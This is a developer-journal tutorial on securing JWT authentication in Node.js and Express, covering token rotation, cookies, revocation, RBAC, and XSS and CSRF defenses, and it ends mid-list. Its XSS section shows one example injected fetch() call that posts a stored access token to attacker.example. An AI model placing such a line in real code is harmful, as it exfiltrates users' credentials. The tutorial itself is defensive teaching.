Back to journal

    Developer journal

    JWT Authentication in Production: Security Best Practices for Node.js Applications

    Learn how to implement secure JWT authentication in production Node.js applications. Explore access and refresh tokens, secure cookies, token rotation, revocation, authorization, and common JWT security vulnerabilities with practical examples.

    30 min read70 sections
    JWT Authentication in Production: Security Best Practices for Node.js Applications article cover
    In this article70 sectionsBrowse sections
    30 min read · 5,857 words

    JWT Authentication in Production: Security Best Practices for Node.js Applications

    Authentication is one of the most important parts of any web application.

    Whether you're building a social platform, e-commerce application, job portal, or SaaS product, you need a reliable way to identify users and control access to protected resources.

    JSON Web Tokens (JWTs) are commonly used to implement authentication in modern applications, especially those built with React, Node.js, Express, and MongoDB.

    However, implementing JWT authentication is more than generating a token after a successful login.

    Poor token storage, weak signing secrets, missing expiration checks, insecure refresh mechanisms, and improper authorization can introduce serious security vulnerabilities.

    In this guide, we'll explore how JWT authentication works, implement a production-oriented authentication flow using Node.js and Express, and understand the security practices necessary to protect real-world applications.

    1. What Is JWT Authentication?

    JSON Web Token (JWT) is a compact, URL-safe token format used to represent claims between parties.

    A JWT can be digitally signed, encrypted, or used in other protected forms depending on the application.

    In a typical Node.js application, JWTs are commonly used as signed tokens that allow a server to verify claims without querying the database for every authentication request.

    A typical authentication flow looks like this:

    1. A user submits their email and password.
    2. The server verifies the credentials.
    3. The server generates an access token.
    4. The client stores the token according to the application's security strategy.
    5. The client includes the access token when requesting protected resources.
    6. The server verifies the token and authorizes the request.

    For example, a client might send:

    GET /api/profile HTTP/1.1
    Host: api.example.com
    Authorization: Bearer eyJhbGciOiJIUzI1NiJ9...
    

    The server verifies the token before returning the protected resource.

    Why use JWT?

    JWTs are useful because:

    • They provide a standardized token format.
    • Signed tokens can be verified without retrieving a session record on every request.
    • They can carry identity and authorization-related claims.
    • They work across different backend services when the services share an appropriate verification configuration.
    • They are supported by many programming languages and frameworks.

    However, JWTs aren't automatically more secure or scalable than traditional session-based authentication.

    The right approach depends on your application's architecture and security requirements.

    2. Understanding the Structure of a JWT

    A standard compact signed JWT contains three parts:

    HEADER.PAYLOAD.SIGNATURE
    

    Each part is Base64URL-encoded.

    Consider this example:

    eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9
    .
    eyJzdWIiOiIxMjMiLCJyb2xlIjoidXNlciJ9
    .
    signature
    

    Let's understand each part.

    2.1 Header

    The header contains information about the token, including its signing algorithm and token type.

    Example:

    {
      "alg": "HS256",
      "typ": "JWT"
    }
    

    Here:

    • alg specifies the signing algorithm.
    • typ identifies the token type.

    2.2 Payload

    The payload contains claims about the token subject and other relevant information.

    Example:

    {
      "sub": "65f123456789abcdef123456",
      "role": "user",
      "iat": 1796140800,
      "exp": 1796141700
    }
    

    Common JWT claims include:

    ClaimDescription
    issIssuer of the token
    subSubject of the token
    audIntended audience
    expExpiration time
    nbfNot valid before
    iatIssued-at time
    jtiUnique token identifier

    You can also include custom claims such as roles or permissions.

    Important: Base64URL encoding isn't encryption.

    Anyone who obtains a normal signed JWT can decode its header and payload.

    Never include passwords, API secrets, private information, or sensitive business data in a JWT payload.

    2.3 Signature

    The signature protects the token's integrity.

    For an HS256 token, the signature is generated using HMAC-SHA256 and a secret key.

    Conceptually:

    HMACSHA256(
      base64UrlEncode(header) + "." +
      base64UrlEncode(payload),
      secret
    );
    

    When the server receives the token, it verifies the signature.

    If the payload or header has been modified without a valid signature, verification fails.

    A signed JWT provides integrity and authenticity under its key-management assumptions. It does not hide the payload.

    3. Access Tokens vs Refresh Tokens

    A common production authentication architecture uses two different tokens:

    • Access token
    • Refresh token

    They have different purposes and lifetimes.

    Access token

    An access token is used to authenticate requests to protected APIs.

    Typical characteristics:

    • Short expiration time.
    • Contains the user's identity.
    • May contain limited authorization claims.
    • Sent with protected API requests.
    • Should have a restricted audience and permissions.

    For many browser applications, an access-token lifetime of approximately 5–15 minutes is a reasonable starting point, depending on the application's risk and usability requirements.

    Refresh token

    A refresh token is used to obtain a new access token after the current one expires.

    Typical characteristics:

    • Longer lifetime than an access token.
    • Stored more carefully than an ordinary access token.
    • Can be rotated after use.
    • Can be revoked.
    • Usually associated with a login session or device.

    An illustrative configuration:

    TokenExample lifetimePurpose
    Access token10 minutesAccess protected APIs
    Refresh token7 daysObtain new access tokens

    These are example values, not universal security requirements.

    Why use two tokens?

    Imagine an application that issues a JWT valid for 30 days.

    If an attacker steals that token, they may be able to access protected resources for the remaining validity period.

    Short-lived access tokens reduce this exposure.

    The refresh token allows legitimate users to remain authenticated without repeatedly entering their passwords.

                 User Login
                      |
                      v
              Validate Credentials
                      |
                      v
              Generate Token Pair
                      |
              +-------+-------+
              |               |
              v               v
          Access Token   Refresh Token
           Short-lived    Long-lived
              |               |
              v               v
         API Requests     Secure Storage
              |               |
              |          Access Expires
              |               |
              |               v
              |         Refresh Endpoint
              |               |
              |               v
              |       Validate and Rotate
              |               |
              +<--------------+
                 New Access Token
    

    A refresh token must not be treated like an ordinary access token. It needs its own validation, storage, expiration, rotation, and revocation strategy.

    4. Choosing the Right JWT Signing Algorithm

    JWT supports different signing algorithms.

    Two commonly encountered options are:

    AlgorithmTypeKey model
    HS256HMAC-SHA256Shared secret
    RS256RSA-SHA256Private/public key pair
    ES256ECDSA with P-256 and SHA-256Private/public key pair

    HS256

    HS256 uses the same secret for signing and verification.

    jwt.sign(payload, process.env.JWT_SECRET, {
      algorithm: "HS256"
    });
    

    Advantages:

    • Simple implementation.
    • Fast signing and verification.
    • Suitable for applications with a single trusted token issuer and verifier boundary.

    Disadvantage:

    Every service that can verify tokens using the shared secret can also generate valid tokens.

    RS256

    RS256 uses an asymmetric key pair.

    • The private key signs tokens.
    • The public key verifies tokens.

    This is useful when multiple services need to verify tokens but shouldn't have the ability to issue them.

    For example:

                Authentication Service
                         |
                         v
                    Private Key
                         |
                         v
                    Sign JWT
                         |
                  +------+------+
                  |             |
                  v             v
              Service A     Service B
                  |             |
                  v             v
              Public Key    Public Key
                  |             |
                  v             v
               Verify        Verify
    

    The private signing key should remain protected by the token issuer.

    Which algorithm should you choose?

    For a smaller application with one trusted backend, HS256 can be sufficient when the secret is generated securely and protected properly.

    For distributed architectures where multiple services verify tokens, an asymmetric signing approach can simplify key separation.

    Whichever algorithm you choose:

    • Explicitly configure the accepted algorithm.
    • Never trust the algorithm selected by an unverified token.
    • Use sufficiently strong keys.
    • Keep signing keys outside source control.
    • Plan key rotation.
    • Never reuse a key for unrelated cryptographic purposes.

    The JWT Best Current Practices document, RFC 8725, provides important guidance on algorithm verification and secure JWT validation.

    5. Implementing JWT Authentication in Node.js and Express

    Let's build a practical authentication system using:

    • Node.js
    • Express.js
    • MongoDB
    • Mongoose
    • JSON Web Tokens
    • Secure HTTP-only cookies
    • Argon2 password hashing

    We'll implement:

    1. User registration.
    2. User login.
    3. Access-token generation.
    4. Refresh-token generation.
    5. Authentication middleware.
    6. Token rotation.
    7. Logout and token revocation.

    Install the required dependencies:

    npm install express mongoose jsonwebtoken argon2 cookie-parser dotenv
    

    We'll use ES modules.

    Step 1: Configure environment variables

    Create a .env file:

    PORT=5000
    
    MONGODB_URI=mongodb://localhost:27017/myapp
    
    JWT_ACCESS_SECRET=your-generated-access-secret
    JWT_REFRESH_SECRET=your-generated-refresh-secret
    
    JWT_ACCESS_EXPIRES_IN=10m
    JWT_REFRESH_EXPIRES_IN=7d
    
    NODE_ENV=development
    

    Generate strong independent secrets rather than using predictable strings.

    For example, Node.js can generate random secret material:

    node -e "console.log(require('crypto').randomBytes(64).toString('hex'))"
    

    Generate separate values for access and refresh signing keys.

    In production, use a secrets manager or another secure key-management mechanism. Never commit .env files or signing keys to Git.

    Step 2: Create the User model

    Create models/User.js:

    import mongoose from "mongoose";
    
    const userSchema = new mongoose.Schema(
      {
        name: {
          type: String,
          required: true,
          trim: true
        },
    
        email: {
          type: String,
          required: true,
          unique: true,
          lowercase: true,
          trim: true
        },
    
        password: {
          type: String,
          required: true,
          select: false
        },
    
        role: {
          type: String,
          enum: ["user", "admin"],
          default: "user"
        },
    
        isActive: {
          type: Boolean,
          default: true
        }
      },
      {
        timestamps: true
      }
    );
    
    export default mongoose.model("User", userSchema);
    

    The select: false option prevents the password hash from being included in normal Mongoose query results by default.

    It doesn't replace proper password handling, but it helps reduce accidental exposure.

    Step 3: Create a refresh-token session model

    Instead of storing refresh tokens in plaintext, store their cryptographic hashes.

    Create models/RefreshSession.js:

    import mongoose from "mongoose";
    
    const refreshSessionSchema = new mongoose.Schema(
      {
        user: {
          type: mongoose.Schema.Types.ObjectId,
          ref: "User",
          required: true,
          index: true
        },
    
        tokenHash: {
          type: String,
          required: true,
          unique: true
        },
    
        familyId: {
          type: String,
          required: true,
          index: true
        },
    
        expiresAt: {
          type: Date,
          required: true
        },
    
        revokedAt: {
          type: Date,
          default: null
        },
    
        replacedBy: {
          type: String,
          default: null
        }
      },
      {
        timestamps: true
      }
    );
    
    refreshSessionSchema.index(
      { expiresAt: 1 },
      { expireAfterSeconds: 0 }
    );
    
    export default mongoose.model(
      "RefreshSession",
      refreshSessionSchema
    );
    

    The session model allows the application to:

    • Track individual login sessions.
    • Revoke refresh tokens.
    • Detect refresh-token reuse.
    • Manage multiple devices.
    • Expire old session records.

    The TTL index automatically removes expired records eventually. TTL deletion is asynchronous, so it must never be treated as the actual authentication or expiration check.

    Step 4: Create JWT utility functions

    Create utils/token.js:

    import jwt from "jsonwebtoken";
    import crypto from "node:crypto";
    
    const ACCESS_EXPIRES_IN =
      process.env.JWT_ACCESS_EXPIRES_IN || "10m";
    
    const REFRESH_EXPIRES_IN =
      process.env.JWT_REFRESH_EXPIRES_IN || "7d";
    
    export function generateAccessToken(user) {
      return jwt.sign(
        {
          role: user.role,
          tokenType: "access"
        },
        process.env.JWT_ACCESS_SECRET,
        {
          algorithm: "HS256",
          subject: user._id.toString(),
          issuer: "https://api.example.com",
          audience: "https://example.com",
          expiresIn: ACCESS_EXPIRES_IN
        }
      );
    }
    
    export function generateRefreshToken(user, familyId) {
      return jwt.sign(
        {
          tokenType: "refresh",
          familyId
        },
        process.env.JWT_REFRESH_SECRET,
        {
          algorithm: "HS256",
          subject: user._id.toString(),
          issuer: "https://api.example.com",
          audience: "https://api.example.com/auth/refresh",
          expiresIn: REFRESH_EXPIRES_IN,
          jwtid: crypto.randomUUID()
        }
      );
    }
    
    export function verifyAccessToken(token) {
      return jwt.verify(
        token,
        process.env.JWT_ACCESS_SECRET,
        {
          algorithms: ["HS256"],
          issuer: "https://api.example.com",
          audience: "https://example.com"
        }
      );
    }
    
    export function verifyRefreshToken(token) {
      return jwt.verify(
        token,
        process.env.JWT_REFRESH_SECRET,
        {
          algorithms: ["HS256"],
          issuer: "https://api.example.com",
          audience: "https://api.example.com/auth/refresh"
        }
      );
    }
    
    export function hashToken(token) {
      return crypto
        .createHash("sha256")
        .update(token)
        .digest("hex");
    }
    

    Notice a few important security decisions:

    • Access and refresh tokens use separate secrets.
    • The accepted signing algorithm is explicitly configured during verification.
    • Issuer and audience are validated.
    • Access and refresh tokens have different audiences.
    • Token types are explicitly identified.
    • Refresh tokens receive a unique JWT ID.

    The iss, aud, and exp claims help ensure that a token is used for its intended purpose and within its valid lifetime.

    Step 5: Configure secure cookies

    Create config/cookies.js:

    const isProduction = process.env.NODE_ENV === "production";
    
    export const refreshCookieOptions = {
      httpOnly: true,
      secure: isProduction,
      sameSite: "lax",
      path: "/api/auth",
      maxAge: 7 * 24 * 60 * 60 * 1000
    };
    
    export function setRefreshCookie(res, token) {
      res.cookie(
        "refreshToken",
        token,
        refreshCookieOptions
      );
    }
    
    export function clearRefreshCookie(res) {
      res.clearCookie("refreshToken", {
        httpOnly: true,
        secure: isProduction,
        sameSite: "lax",
        path: "/api/auth"
      });
    }
    

    Let's understand these options.

    Cookie optionPurpose
    httpOnlyPrevents JavaScript from directly reading the cookie
    secureSends the cookie only over HTTPS
    sameSiteHelps control cross-site cookie sending
    pathRestricts the cookie to the authentication routes
    maxAgeControls the browser cookie lifetime

    For a production application, use HTTPS and configure cookie settings according to your frontend and backend deployment.

    If your frontend and backend are genuinely cross-site, you may need SameSite=None; Secure and carefully configured credentialed CORS. Cookie-based authentication also requires appropriate CSRF protection.

    Step 6: Implement user registration

    Create controllers/authController.js:

    import argon2 from "argon2";
    
    import User from "../models/User.js";
    
    export async function register(req, res, next) {
      try {
        const { name, email, password } = req.body;
    
        if (!name || !email || !password) {
          return res.status(400).json({
            message: "All fields are required"
          });
        }
    
        const normalizedEmail = email.trim().toLowerCase();
    
        const existingUser = await User.findOne({
          email: normalizedEmail
        });
    
        if (existingUser) {
          return res.status(409).json({
            message: "Unable to create account with these details"
          });
        }
    
        const passwordHash = await argon2.hash(password, {
          type: argon2.argon2id
        });
    
        const user = await User.create({
          name,
          email: normalizedEmail,
          password: passwordHash
        });
    
        return res.status(201).json({
          message: "Account created successfully",
          user: {
            id: user._id,
            name: user.name,
            email: user.email
          }
        });
      } catch (error) {
        next(error);
      }
    }
    

    Passwords should never be stored as plaintext.

    Use a password-hashing algorithm designed for passwords, such as Argon2id, bcrypt, or scrypt. Don't use ordinary SHA-256 hashing for password storage.

    For production, also validate input lengths, enforce password policies appropriate to your application, and handle duplicate-key errors because two concurrent registrations can pass the initial existence check.

    Step 7: Implement login

    Add the login function:

    import crypto from "node:crypto";
    
    import User from "../models/User.js";
    import RefreshSession from "../models/RefreshSession.js";
    
    import {
      generateAccessToken,
      generateRefreshToken,
      hashToken
    } from "../utils/token.js";
    
    import {
      setRefreshCookie
    } from "../config/cookies.js";
    
    export async function login(req, res, next) {
      try {
        const { email, password } = req.body;
    
        if (!email || !password) {
          return res.status(400).json({
            message: "Email and password are required"
          });
        }
    
        const user = await User.findOne({
          email: email.trim().toLowerCase()
        }).select("+password");
    
        if (
          !user ||
          !user.isActive ||
          !(await argon2.verify(user.password, password))
        ) {
          return res.status(401).json({
            message: "Invalid email or password"
          });
        }
    
        const familyId = crypto.randomUUID();
    
        const accessToken = generateAccessToken(user);
    
        const refreshToken = generateRefreshToken(
          user,
          familyId
        );
    
        const decoded = jwt.decode(refreshToken);
    
        await RefreshSession.create({
          user: user._id,
          tokenHash: hashToken(refreshToken),
          familyId,
          expiresAt: new Date(decoded.exp * 1000)
        });
    
        setRefreshCookie(res, refreshToken);
    
        return res.status(200).json({
          message: "Login successful",
          accessToken,
          user: {
            id: user._id,
            name: user.name,
            email: user.email,
            role: user.role
          }
        });
      } catch (error) {
        next(error);
      }
    }
    

    The example uses a refresh-session record for every login.

    The refresh token is stored in an HTTP-only cookie, while the access token is returned in the response so the frontend can keep it in memory.

    The frontend should not automatically persist the access token in localStorage if the goal is to reduce exposure to token theft through XSS.

    In a production implementation, also consider:

    • Login rate limiting.
    • Generic authentication error messages.
    • Email verification.
    • Account lockout or risk-based throttling.
    • Security event logging.
    • Session limits where appropriate.

    Step 8: Create authentication middleware

    Now protect API routes using access-token verification.

    Create middleware/authMiddleware.js:

    import {
      verifyAccessToken
    } from "../utils/token.js";
    
    export function authenticate(req, res, next) {
      try {
        const authorization = req.headers.authorization;
    
        if (!authorization?.startsWith("Bearer ")) {
          return res.status(401).json({
            message: "Authentication required"
          });
        }
    
        const token = authorization.slice(7);
    
        const payload = verifyAccessToken(token);
    
        if (payload.tokenType !== "access") {
          return res.status(401).json({
            message: "Invalid access token"
          });
        }
    
        req.user = {
          id: payload.sub,
          role: payload.role
        };
    
        next();
      } catch (error) {
        return res.status(401).json({
          message: "Invalid or expired access token"
        });
      }
    }
    

    This middleware verifies:

    • The token signature.
    • The allowed signing algorithm.
    • The issuer.
    • The audience.
    • The expiration.
    • The expected token type.

    Don't decode a JWT and treat its claims as trustworthy without verifying its signature.

    Step 9: Create protected routes

    import express from "express";
    
    import {
      authenticate
    } from "../middleware/authMiddleware.js";
    
    const router = express.Router();
    
    router.get("/profile", authenticate, (req, res) => {
      res.json({
        message: "Protected profile accessed",
        user: req.user
      });
    });
    
    export default router;
    

    Now only requests with a valid access token can access the protected route.

    6. Implementing Refresh Token Rotation

    Refresh tokens are valuable credentials.

    If a refresh token is stolen, an attacker may use it to obtain new access tokens.

    A safer design is refresh-token rotation.

    With rotation:

    1. The client submits its current refresh token.
    2. The server verifies the token.
    3. The server checks whether the corresponding session is still active.
    4. The server invalidates the old refresh token.
    5. The server issues a new refresh token.
    6. The server returns a new access token.

    The old token must not remain usable.

    Why rotation matters

    Consider this situation:

    • A legitimate user logs in.
    • An attacker steals the refresh token.
    • Both the legitimate user and attacker attempt to refresh the session.

    If the server detects that an already-used refresh token is presented again, it can treat this as possible token reuse and revoke the affected token family.

    This is important because refresh-token replay can indicate credential theft.

    Implement the refresh endpoint

    Add the following function to controllers/authController.js:

    import {
      verifyRefreshToken,
      generateAccessToken,
      generateRefreshToken,
      hashToken
    } from "../utils/token.js";
    
    import {
      setRefreshCookie,
      clearRefreshCookie
    } from "../config/cookies.js";
    
    export async function refresh(req, res, next) {
      try {
        const oldToken = req.cookies.refreshToken;
    
        if (!oldToken) {
          return res.status(401).json({
            message: "Refresh token required"
          });
        }
    
        let payload;
    
        try {
          payload = verifyRefreshToken(oldToken);
        } catch {
          clearRefreshCookie(res);
    
          return res.status(401).json({
            message: "Invalid or expired refresh token"
          });
        }
    
        if (payload.tokenType !== "refresh") {
          clearRefreshCookie(res);
    
          return res.status(401).json({
            message: "Invalid refresh token"
          });
        }
    
        const oldHash = hashToken(oldToken);
    
        const session = await RefreshSession.findOne({
          tokenHash: oldHash
        });
    
        if (!session) {
          clearRefreshCookie(res);
    
          return res.status(401).json({
            message: "Refresh session not found"
          });
        }
    
        if (session.revokedAt) {
          // Reuse of a previously rotated token.
          await RefreshSession.updateMany(
            {
              familyId: session.familyId,
              revokedAt: null
            },
            {
              $set: {
                revokedAt: new Date()
              }
            }
          );
    
          clearRefreshCookie(res);
    
          return res.status(401).json({
            message: "Session revoked. Please log in again."
          });
        }
    
        if (session.expiresAt <= new Date()) {
          clearRefreshCookie(res);
    
          return res.status(401).json({
            message: "Refresh session expired"
          });
        }
    
        if (
          session.user.toString() !== payload.sub ||
          session.familyId !== payload.familyId
        ) {
          clearRefreshCookie(res);
    
          return res.status(401).json({
            message: "Invalid refresh session"
          });
        }
    
        const user = await User.findById(payload.sub);
    
        if (!user || !user.isActive) {
          clearRefreshCookie(res);
    
          return res.status(401).json({
            message: "Account unavailable"
          });
        }
    
        const newRefreshToken = generateRefreshToken(
          user,
          session.familyId
        );
    
        const newPayload = verifyRefreshToken(newRefreshToken);
    
        const newHash = hashToken(newRefreshToken);
    
        // Atomically claim the old refresh token.
        const updatedSession = await RefreshSession.findOneAndUpdate(
          {
            _id: session._id,
            revokedAt: null,
            tokenHash: oldHash,
            expiresAt: { $gt: new Date() }
          },
          {
            $set: {
              revokedAt: new Date(),
              replacedBy: newHash
            }
          },
          {
            new: true
          }
        );
    
        if (!updatedSession) {
          // Another request may have rotated the same token.
          // Reuse detection and family revocation should be handled
          // by a coordinated transaction or equivalent atomic workflow.
          clearRefreshCookie(res);
    
          return res.status(401).json({
            message: "Refresh token already used"
          });
        }
    
        await RefreshSession.create({
          user: user._id,
          tokenHash: newHash,
          familyId: session.familyId,
          expiresAt: new Date(newPayload.exp * 1000)
        });
    
        const accessToken = generateAccessToken(user);
    
        setRefreshCookie(res, newRefreshToken);
    
        return res.status(200).json({
          accessToken
        });
      } catch (error) {
        next(error);
      }
    }
    

    Important implementation note: This is an instructional outline of refresh rotation, not a complete concurrency-safe production implementation. In particular, old-token revocation and new-token insertion must be performed atomically, ideally within a MongoDB transaction. Reuse detection must also be coordinated so that a concurrent refresh cannot leave an active replacement token behind after a reuse event. If refresh rotation fails after the old token is revoked, the application must recover safely rather than silently issuing an untracked token.

    The central rule is that a refresh token must only be accepted once.

    Handle concurrent refresh requests

    A common problem occurs when multiple browser requests attempt to refresh the same token simultaneously.

    For example:

    1. Two API requests discover that the access token has expired.
    2. Both attempt to refresh using the same refresh token.
    3. The first request rotates the token.
    4. The second request presents the now-invalid token.

    This can trigger reuse detection and revoke the session.

    Solution: Use a shared refresh operation on the client, so multiple failed API requests wait for one refresh request instead of creating independent refresh requests.

    On the backend, use atomic database operations and transactions to enforce single-use refresh tokens.

    7. Implementing Logout and Token Revocation

    Logout should invalidate the active refresh session.

    Simply removing a token from the browser doesn't invalidate a copied token that an attacker may already possess.

    Add a logout endpoint:

    export async function logout(req, res, next) {
      try {
        const token = req.cookies.refreshToken;
    
        if (token) {
          const hash = hashToken(token);
    
          await RefreshSession.updateOne(
            {
              tokenHash: hash,
              revokedAt: null
            },
            {
              $set: {
                revokedAt: new Date()
              }
            }
          );
        }
    
        clearRefreshCookie(res);
    
        return res.status(200).json({
          message: "Logged out successfully"
        });
      } catch (error) {
        next(error);
      }
    }
    

    This revokes the refresh token associated with the current session.

    However, an already-issued access token remains valid until its expiration unless the application implements an additional revocation mechanism.

    This is one reason short-lived access tokens are useful.

    Logout from all devices

    A user may want to terminate every active login session.

    You can revoke all refresh sessions associated with the user:

    export async function logoutAllDevices(req, res, next) {
      try {
        await RefreshSession.updateMany(
          {
            user: req.user.id,
            revokedAt: null
          },
          {
            $set: {
              revokedAt: new Date()
            }
          }
        );
    
        return res.status(200).json({
          message: "All sessions revoked"
        });
      } catch (error) {
        next(error);
      }
    }
    

    For this endpoint, require authentication and appropriate authorization.

    8. Where Should You Store JWTs?

    Token storage is one of the most frequently misunderstood parts of JWT authentication.

    Common storage options include:

    • LocalStorage.
    • SessionStorage.
    • In-memory JavaScript variables.
    • HTTP-only cookies.

    Each has different security and usability characteristics.

    LocalStorage

    Example:

    localStorage.setItem("accessToken", token);
    

    Advantages:

    • Easy to implement.
    • Survives page reloads.
    • Convenient for SPA applications.

    Disadvantages:

    • Accessible to JavaScript.
    • An XSS vulnerability can expose stored tokens.
    • Tokens may remain available after the user closes the browser.

    LocalStorage isn't automatically insecure in every application, but storing long-lived bearer credentials there increases the impact of successful XSS attacks.

    SessionStorage

    sessionStorage.setItem("accessToken", token);
    

    SessionStorage is scoped to a browser tab's session and is generally cleared when the tab's page session ends.

    However, it remains accessible to JavaScript and is therefore also exposed to XSS.

    In-memory storage

    let accessToken = null;
    
    export function setAccessToken(token) {
      accessToken = token;
    }
    
    export function getAccessToken() {
      return accessToken;
    }
    

    Advantages:

    • Not automatically persisted to browser storage.
    • Reduces the time a token remains available after a page reload or application shutdown.
    • Useful for short-lived access tokens.

    Disadvantages:

    • Lost on page reload.
    • Requires a refresh mechanism to restore authentication.
    • Still accessible to malicious JavaScript executing in the same page.

    HTTP-only cookies

    An HTTP-only cookie prevents JavaScript from directly reading the cookie.

    res.cookie("refreshToken", token, {
      httpOnly: true,
      secure: true,
      sameSite: "lax",
      path: "/api/auth"
    });
    

    Advantages:

    • JavaScript cannot directly read the cookie.
    • Browser automatically sends it to matching requests.
    • Useful for refresh-token storage.

    Disadvantages:

    • Cookies are automatically attached to matching requests.
    • Cross-site request forgery (CSRF) must be considered.
    • Cookie domain, path, SameSite, Secure, and CORS settings require careful configuration.

    For many first-party React applications, a practical design is:

    TokenStorage
    Access tokenJavaScript memory
    Refresh tokenSecure HTTP-only cookie

    This reduces direct JavaScript access to the long-lived refresh credential.

    It does not eliminate XSS or CSRF risks. An XSS vulnerability can still make authenticated requests from the page, while cookie-based authentication requires appropriate CSRF defenses.

    9. Understanding XSS and CSRF Attacks

    JWT security isn't just about signing and verifying tokens.

    You must also protect the way tokens are stored and transmitted.

    Cross-Site Scripting (XSS)

    XSS occurs when an attacker manages to execute malicious JavaScript in your application.

    For example, if an attacker injects:

    fetch("https://attacker.example/collect", {
      method: "POST",
      body: localStorage.getItem("accessToken")
    });
    

    A token stored in LocalStorage could be exposed.

    HTTP-only cookies prevent JavaScript from directly reading the refresh token.

    However, an attacker who successfully executes JavaScript in your application may still make authenticated requests using the victim's browser.

    XSS prevention:

    • Avoid unsafe HTML injection.
    • Sanitize untrusted HTML.
    • Use appropriate Content Security Policy (CSP).
    • Keep frontend dependencies updated.
    • Avoid unsafe DOM manipulation.
    • Validate and encode data appropriately.
    • Use secure rendering practices.

    Cross-Site Request Forgery (CSRF)

    CSRF occurs when an attacker tricks a browser into sending an authenticated request to another website.

    Cookies can introduce this risk because browsers automatically attach matching cookies to requests.

    For example, an attacker may attempt to trigger a request to:

    https://api.example.com/api/account/delete
    

    If the browser automatically includes the authentication cookie and the server doesn't enforce appropriate protections, the request may be processed.

    CSRF prevention:

    • Use an appropriate SameSite cookie policy.
    • Validate request origins for sensitive operations.
    • Use anti-CSRF tokens where appropriate.
    • Require appropriate content types for state-changing endpoints.
    • Avoid state-changing GET requests.
    • Configure CORS carefully.

    Remember that CORS is not a complete CSRF defense.

    For applications using cross-site cookies, use SameSite=None; Secure only when necessary and implement an appropriate CSRF defense.

    10. Role-Based Access Control (RBAC)

    Authentication answers one question:

    Who is making this request?

    Authorization answers another:

    What is this user allowed to do?

    A valid JWT doesn't automatically grant access to every protected resource.

    For example:

    • Normal users can view their profiles.
    • Administrators can manage users.
    • Recruiters can manage job listings.
    • Candidates can apply for jobs.

    This is where Role-Based Access Control (RBAC) becomes useful.

    Create an authorization middleware

    export function authorize(...allowedRoles) {
      return (req, res, next) => {
        if (!req.user) {
          return res.status(401).json({
            message: "Authentication required"
          });
        }
    
        if (!allowedRoles.includes(req.user.role)) {
          return res.status(403).json({
            message: "Access denied"
          });
        }
    
        next();
      };
    }
    

    Protect administrator routes

    router.delete(
      "/users/:id",
      authenticate,
      authorize("admin"),
      deleteUser
    );
    

    Only authenticated administrators can access this route.

    Important authorization considerations

    • Never trust a role supplied by the client.
    • Validate authorization on the backend.
    • Don't allow users to modify their own role through ordinary profile updates.
    • Check resource ownership.
    • Use permissions when roles become too restrictive.
    • Consider how role changes affect already-issued access tokens.

    If a user's role is embedded in a JWT, that role remains in the token until it expires unless the application checks current authorization state separately.

    For sensitive administrative operations, consider retrieving current permissions or using a short token lifetime.

    11. Token Expiration and Revocation Strategies

    JWTs are often described as stateless authentication tokens.

    However, stateless verification introduces an important trade-off.

    Once a valid token has been issued, the server can generally verify it without consulting a database.

    This is convenient, but it makes immediate revocation more complicated.

    Short-lived access tokens

    One practical strategy is to issue short-lived access tokens.

    For example:

    jwt.sign(
      {
        role: user.role
      },
      process.env.JWT_ACCESS_SECRET,
      {
        algorithm: "HS256",
        subject: user._id.toString(),
        expiresIn: "10m"
      }
    );
    

    If a token is stolen, its validity is limited by its remaining lifetime.

    Token denylist

    For applications requiring immediate access-token revocation, maintain a denylist.

    You can store a token identifier such as jti and reject requests containing revoked token IDs.

    This introduces a lookup during authentication, reducing some of the stateless benefits.

    The denylist records should remain until the corresponding tokens expire.

    Token versioning

    Another approach is to maintain a token version or security version for each user.

    For example:

    {
      _id: ObjectId("65f123456789abcdef123456"),
      tokenVersion: 3
    }
    

    The JWT contains:

    {
      sub: "65f123456789abcdef123456",
      tokenVersion: 3
    }
    

    When the user changes their password or logs out from all devices, increment the stored version.

    The application rejects tokens with an outdated version.

    This requires checking the current version against the database or a cache.

    Which approach should you use?

    StrategyMain benefitTrade-off
    Short-lived access tokensLimits exposure timeDoesn't revoke immediately
    Token denylistIndividual token revocationRequires lookup
    Token versioningSimple global invalidationRequires current version check
    Refresh-session revocationControls future token renewalExisting access tokens remain valid until expiration

    For many applications, short-lived access tokens combined with refresh-session rotation provide a reasonable balance.

    12. Common JWT Security Mistakes

    Here are common implementation mistakes to avoid.

    1. Using weak signing secrets

    Bad example:

    const secret = "secret123";
    

    Weak secrets can be vulnerable to offline guessing if an attacker obtains signed tokens.

    Better approach: Use independently generated, high-entropy secrets and protect them using secure configuration management.

    2. Not validating the signing algorithm

    Don't rely on an algorithm specified by an unverified token header.

    Better approach: Explicitly configure accepted algorithms during verification.

    3. Storing sensitive information in JWT payloads

    A signed JWT is not necessarily encrypted.

    Better approach: Include only the claims required for authentication and authorization.

    4. Using long-lived access tokens

    Long-lived access tokens increase the time window in which stolen credentials can be abused.

    Better approach: Use appropriately short-lived access tokens and a controlled refresh mechanism.

    5. Storing refresh tokens in LocalStorage

    This exposes long-lived credentials to JavaScript and increases their exposure in an XSS incident.

    Better approach: Consider secure HTTP-only cookies for browser refresh tokens.

    6. Not validating issuer and audience

    A valid signature alone doesn't guarantee that a token was issued for your application or intended for the endpoint receiving it.

    Better approach: Validate issuer, audience, expiration, algorithm, and token purpose.

    7. Forgetting refresh-token rotation

    If a refresh token remains valid after use, stolen tokens can be replayed repeatedly.

    Better approach: Rotate refresh tokens and detect reuse.

    8. Trusting client-side roles

    A frontend can be modified by users.

    Better approach: Perform authorization checks on the server.

    9. Ignoring logout and revocation

    Removing a token from the browser doesn't invalidate a copy held by an attacker.

    Better approach: Revoke refresh sessions and use an access-token revocation strategy appropriate to the application's risk.

    10. Exposing tokens in URLs

    Tokens in query strings may leak through browser history, server logs, analytics, and referrer information.

    Better approach: Send access tokens through the Authorization header or use an appropriately configured cookie-based architecture.

    13. Scaling JWT Authentication Across Multiple Services

    JWTs can be useful in distributed backend architectures.

    Consider an application with multiple services:

    • Authentication service.
    • User service.
    • Job service.
    • Payment service.
    • Notification service.

    The authentication service issues signed tokens, while other services verify them.

                   React Frontend
                          |
                          v
                   Authentication
                      Service
                          |
                          v
                     Signed JWT
                          |
              +-----------+-----------+
              |           |           |
              v           v           v
           User API     Job API    Payment API
              |           |           |
              v           v           v
           Verify      Verify      Verify
              |           |           |
              +-----------+-----------+
                          |
                     MongoDB
    

    With asymmetric signing:

    • The authentication service holds the private key.
    • Resource services receive the public key.
    • Resource services verify tokens without obtaining the signing private key.

    This reduces the number of systems capable of issuing valid tokens.

    Use key rotation

    Signing keys should not remain unchanged indefinitely.

    A practical key-management approach includes:

